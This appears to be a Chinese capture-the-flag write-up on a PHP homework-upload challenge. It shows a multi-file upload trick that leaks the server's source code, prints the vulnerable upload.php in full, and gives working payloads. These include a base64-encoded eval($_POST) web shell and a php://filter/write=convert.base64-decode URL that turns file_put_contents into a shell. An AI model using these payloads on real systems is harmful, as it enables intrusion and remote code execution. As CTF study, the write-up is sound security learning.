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题目在wooyun峰会上就放出来了,在上周orange菊苣和一众师傅讨论的结果下,才终于有了第一步的路,虽然没能力拿下一血,但是还是磕磕绊绊的做出来了…

多文件上传导致的php源码泄露

原理

根据上周各位师傅们的讨论,找到这个洞

https://bugs.php.net/bug.php?id=49683

还有一篇文章

https://nealpoole.com/blog/2011/10/directory-traversal-via-php-multi-file-uploads/

根据第二篇文章直接复现环境(事实证明和原环境相差非常小),由于foreach的关系,如果我们构造pictures[tmp_name][,然后定义filename就是把tmp_name改成filename中的值…

我们看到tmp_name被改写了,所以我们可以通过这种方式控制每个字段的内容…

读源码?

但是在第二篇文章中输出是通过

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$tmp_name = $_FILES["pictures"]["tmp_name"][$key];
$name = $_FILES["pictures"]["name"][$key];
echo "move_uploaded_file($tmp_name, \"$uploads_dir/$name\");";

本地测试通过,线上失败了(╯-_-)╯╧╧

稍微测试下发现存在name存在性判定,让我们来看看后来读到的源码

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if (!empty($_FILES["homework"]["name"][$key]))
{
$filename = htmlspecialchars($_FILES["homework"]["name"][$key]);
$tmpFile = $_FILES["homework"]["tmp_name"][$key];
//$size = $_FILES["homework"]["size"][$key];
// echo $tmpFile;
$content = base64_encode(file_get_contents($tmpFile));
$echoCentent[] = $content;
if(!empty($content))
{
$sql = "insert into homework(`filename`,`content`,`time`) values('".$filename."','".$content."','".$nowtime."')";
if(!mysql_query($sql))
{
die('hello hacker!');
}
}
}

前面多了一句判断if (!empty($_FILES["homework"]["name"][$key]))

线上测试可以通过fuzz判断,于是payload是这样的

下面出现了base64的源码…

upload.php

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<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
include 'init.php';
$nowtime = time();
if(is_array($_FILES) && !empty($_FILES))
{
//var_dump($_FILES);
foreach($_FILES["homework"]["name"] as $key => $name)
{
if (!empty($_FILES["homework"]["name"][$key]))
{
$filename = htmlspecialchars($_FILES["homework"]["name"][$key]);
$tmpFile = $_FILES["homework"]["tmp_name"][$key];
//$size = $_FILES["homework"]["size"][$key];
// echo $tmpFile;
$content = base64_encode(file_get_contents($tmpFile));
$echoCentent[] = $content;
if(!empty($content))
{
$sql = "insert into homework(`filename`,`content`,`time`) values('".$filename."','".$content."','".$nowtime."')";
if(!mysql_query($sql))
{
die('hello hacker!');
}
}
}
}
}
if(isset($_GET['download']) and isset($_GET['filename']))
{
$download = addslashes(htmlspecialchars_decode($_GET['download']));
$filename = addslashes(htmlspecialchars_decode($_GET['filename']));
if(file_exists($filename))
{
unlink($filename);
}
$sql = "select content from homework where id='$download'";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{
$devalContents = "<?php die; ?>\n";
$devalContents .= base64_decode($row['content']);
file_put_contents("$filename",$devalContents);
$filename = str_replace("upload/",'',$filename);
header("location:upload/".urlencode($filename));
}
$sql = "delete from homework where id='$download';";
if(!mysql_query($sql))
{
die("hello hacker!");
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>暑假作业上传系统</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta name="description" content="Expand, contract, animate forms with jQuery wihtout leaving the page" />
<meta name="keywords" content="expand, form, css3, jquery, animate, width, height, adapt, unobtrusive javascript"/>
<link rel="shortcut icon" href="../favicon.ico" type="image/x-icon"/>
<link rel="stylesheet" type="text/css" href="css/style.css" />
<script src="js/cufon-yui.js" type="text/javascript"></script>
<script src="js/ChunkFive_400.font.js" type="text/javascript"></script>
<script type="text/javascript">
Cufon.replace('h1',{ textShadow: '1px 1px #fff'});
Cufon.replace('h2',{ textShadow: '1px 1px #fff'});
Cufon.replace('h3',{ textShadow: '1px 1px #000'});
Cufon.replace('.back');
</script>
</head>
<body>
<div class="wrapper">
<h1>The system for summer jobs</h1><h2 style="text-align:right;"></h2>
<div class="content" style="text-align:center;padding-left:200px;width:500px">
<div id="form_wrapper" class="form_wrapper"></div>
<br/>
<div style="text-align:center;width" >
</div>
<br/>
<div>注意:上传文件名请使用姓名加学号的方式上传,如:钢蛋2016098121.pdf<div>
<br/>
<br>
<br/>
<br>
<form action = "index.php" method = "POST" enctype = "multipart/form-data">
<span>语文作业:</span>
<input type = "file" name = "homework[]">
<br/>
<br>
<span>数学作业:</span>
<input type = "file" name = "homework[]">
<br/>
<br>
<span>英语作业:</span>
<input type = "file" name = "homework[]">
<br/>
<br>
<span>其他作业:</span>
<input type = "file" name = "homework[]">
<br/>
<br>
<div style="text-align:right">
<br>
<input type = "submit" value ="提交作业">
</div>
</form>
<div class="clear"></div>
</div>
<div id="form_wrapper" class="form_wrapper"></div>
<div style="text-align:left">交作业情况(只显示最新提交10个人):</div><br/><br>
<div style="text-align:left">
<?php
$sql = "select id,filename from homework order by id desc limit 0,10;";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo $row['id']."|".$row['filename']."|"."<a href=\"index.php?download={$row['id']}&filename=upload/".urlencode($row['filename'])."\">下载作业</a>"."<br/><br/>";
}
?>
</div>
<div id="form_wrapper" class="form_wrapper"></div>
<div style="width:500px">
<?php
if(!empty($echoCentent))
echo json_encode($echoCentent);
?>
</div>
</div>
</body>
</html>

巧妙地方式?

这里分析源码其实发现…下载的代码其实是有问题的…

读入文件的内容会插入数据库,然后再请求下载界面的时候,读出数据库内容写入filename,那么我们读入index.php的内容就可以写入test.txt,不会受到die()的影响,读到完整带有格式的源码…

其核心逻辑是这样的

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if(isset($_GET['download']) and isset($_GET['filename']))
{
$download = addslashes(htmlspecialchars_decode($_GET['download']));
$filename = addslashes(htmlspecialchars_decode($_GET['filename']));
if(file_exists($filename))
{
unlink($filename);
}
$sql = "select content from homework where id='$download'";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{
$devalContents = "<?php die; ?>\n";
$devalContents .= base64_decode($row['content']);
file_put_contents("$filename",$devalContents);
$filename = str_replace("upload/",'',$filename);
header("location:upload/".urlencode($filename));
}
$sql = "delete from homework where id='$download';";
if(!mysql_query($sql))
{
die("hello hacker!");
}
}

在类似于前面上传之后,请求对应的id

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http://464e9b54c7a12250a.jie.sangebaimao.com/index.php?download=4101&filename=upload/test

get!

php://filter/write配合file_put_contents getshell

仔细分析上面的代码,发现核心逻辑在

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$devalContents = "<?php die; ?>\n";
$devalContents .= base64_decode($row['content']);
file_put_contents("$filename",$devalContents);
$filename = str_replace("upload/",'',$filename);
header("location:upload/".urlencode($filename));

配合hint2简直蒙蔽。。。

分析逻辑感觉问题还是在file_put_contents

无意中找到了这篇文章

http://www.myhack58.com/Article/html/3/7/2011/30898.htm

一下打通了任督二脉。。。

只要传入shell的base64,然后解码,前面的die就会解成乱码,然后getshell

尝试

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PD9waHAgZWNobyAyMzM7IGV2YWwoJF9QT1NUWydzcyddKTsgPz4=

payload

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http://464e9b54c7a12250a.jie.sangebaimao.com/upload/php://filter/write=convert.base64-decode/resource/resource=upload/ddog.php

咦?乱码了。。。

想了一会儿才想起来base64有padding,如果长度不对就会解成乱码,那就python尝试一下吧…

最终文件内容

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ssPD9waHAgZWNobyAyMzM7IGV2YWwoJF9QT1NUWydzcyddKTsgPz4=

payload

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http://464e9b54c7a12250a.jie.sangebaimao.com/upload/php://filter/write=convert.base64-decode/resource/resource=upload/ddog.php

getshell….

文章目录
  1. 1. 多文件上传导致的php源码泄露
    1. 1.1. 原理
    2. 1.2. 读源码?
    3. 1.3. 巧妙地方式?
  2. 2. php://filter/write配合file_put_contents getshell